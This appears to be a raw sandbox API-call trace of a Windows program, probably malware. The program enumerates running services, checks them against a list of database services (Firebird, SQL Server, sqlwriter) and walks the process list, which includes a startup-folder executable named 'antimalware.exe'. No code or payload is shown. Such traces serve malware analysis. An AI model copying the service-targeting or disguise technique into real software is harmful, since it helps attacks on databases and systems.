	[0169.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0169.809] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0169.809] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0169.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0169.809] lstrlenW (lpString="RpcEptMapper") returned 12
	[0169.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0169.809] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0169.809] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0169.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0169.809] lstrlenW (lpString="RpcSs") returned 5
	[0169.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0169.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0169.810] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0169.810] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0169.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0169.810] lstrlenW (lpString="SamSs") returned 5
	[0169.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0169.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0169.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0169.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0169.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0169.810] lstrlenW (lpString="Schedule") returned 8
	[0169.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0169.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0169.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0169.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0169.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0169.810] lstrlenW (lpString="SecurityHealthService") returned 21
	[0169.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0169.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0169.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0169.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0169.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0169.811] lstrlenW (lpString="SENS") returned 4
	[0169.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0169.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0169.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0169.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0169.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0169.811] lstrlenW (lpString="ShellHWDetection") returned 16
	[0169.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0169.811] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0169.811] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0169.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0169.811] lstrlenW (lpString="Spooler") returned 7
	[0169.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0169.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0169.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0169.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0169.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0169.811] lstrlenW (lpString="StateRepository") returned 15
	[0169.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0169.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0169.812] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0169.812] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0169.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0169.812] lstrlenW (lpString="SysMain") returned 7
	[0169.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0169.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0169.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0169.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0169.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0169.812] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0169.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0169.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0169.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0169.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0169.812] lstrlenW (lpString="Themes") returned 6
	[0169.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0169.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0169.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0169.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0169.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0169.813] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0169.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0169.813] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0169.813] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0169.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46f23f8 | out: hHeap=0x4f0000) returned 1
	[0169.813] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x558
	[0169.819] Process32FirstW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0169.820] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0169.821] lstrlenW (lpString="System") returned 6
	[0169.821] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0169.853] lstrlenW (lpString="smss.exe") returned 8
	[0169.853] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.862] lstrlenW (lpString="csrss.exe") returned 9
	[0169.862] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0169.863] lstrlenW (lpString="wininit.exe") returned 11
	[0169.863] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.865] lstrlenW (lpString="csrss.exe") returned 9
	[0169.865] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0169.866] lstrlenW (lpString="winlogon.exe") returned 12
	[0169.866] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0169.866] lstrlenW (lpString="services.exe") returned 12
	[0169.867] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0169.868] lstrlenW (lpString="lsass.exe") returned 9
	[0169.868] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.870] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.870] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.871] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.871] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.872] lstrlenW (lpString="svchost.exe") returned 11
	[0169.872] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.873] lstrlenW (lpString="svchost.exe") returned 11
	[0169.873] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0169.874] lstrlenW (lpString="dwm.exe") returned 7
	[0169.874] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.881] lstrlenW (lpString="svchost.exe") returned 11
	[0169.881] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.882] lstrlenW (lpString="svchost.exe") returned 11
	[0169.882] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.883] lstrlenW (lpString="svchost.exe") returned 11
	[0169.883] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.888] lstrlenW (lpString="svchost.exe") returned 11
	[0169.888] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.889] lstrlenW (lpString="svchost.exe") returned 11
	[0169.889] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.890] lstrlenW (lpString="svchost.exe") returned 11
	[0169.890] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.894] lstrlenW (lpString="svchost.exe") returned 11
	[0169.895] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.896] lstrlenW (lpString="svchost.exe") returned 11
	[0169.896] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.897] lstrlenW (lpString="svchost.exe") returned 11
	[0169.897] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.899] lstrlenW (lpString="svchost.exe") returned 11
	[0169.899] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0169.900] lstrlenW (lpString="spoolsv.exe") returned 11
	[0169.900] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.901] lstrlenW (lpString="svchost.exe") returned 11
	[0169.901] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0169.902] lstrlenW (lpString="audiodg.exe") returned 11
	[0169.902] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0169.903] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0169.903] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0169.904] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0169.904] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0169.905] lstrlenW (lpString="sihost.exe") returned 10
	[0169.906] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0169.906] lstrlenW (lpString="Memory Compression") returned 18
	[0169.907] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.908] lstrlenW (lpString="svchost.exe") returned 11
	[0169.908] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.909] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.909] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0169.973] lstrlenW (lpString="msoia.exe") returned 9
	[0169.973] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0169.975] lstrlenW (lpString="explorer.exe") returned 12
	[0169.975] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0169.976] lstrlenW (lpString="SearchUI.exe") returned 12
	[0169.976] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0169.983] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0169.983] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0169.984] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0169.984] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0169.988] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0169.988] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0169.989] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0169.989] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0169.990] lstrlenW (lpString="consent.exe") returned 11
	[0169.990] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0169.991] lstrlenW (lpString="dllhost.exe") returned 11
	[0169.991] Process32NextW (in: hSnapshot=0x558, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0169.992] CloseHandle (hObject=0x558) returned 1
	[0169.992] Sleep (dwMilliseconds=0x1f4) 
	[0170.510] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45affa8
	[0170.510] EnumServicesStatusExW (in: hSCManager=0x45affa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0170.511] GetLastError () returned 0xea
	[0170.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x46f23f8
	[0170.511] EnumServicesStatusExW (in: hSCManager=0x45affa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f23f8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f23f8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0170.511] CloseServiceHandle (hSCObject=0x45affa8) returned 1
	[0170.512] lstrlenW (lpString="Appinfo") returned 7
	[0170.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0170.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0170.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0170.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0170.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0170.512] lstrlenW (lpString="AppXSvc") returned 7
	[0170.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.512] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0170.512] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0170.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0170.512] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0170.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.512] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0170.512] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0170.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0170.512] lstrlenW (lpString="Audiosrv") returned 8
	[0170.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0170.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0170.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0170.513] lstrlenW (lpString="BFE") returned 3
	[0170.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0170.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0170.513] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0170.513] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
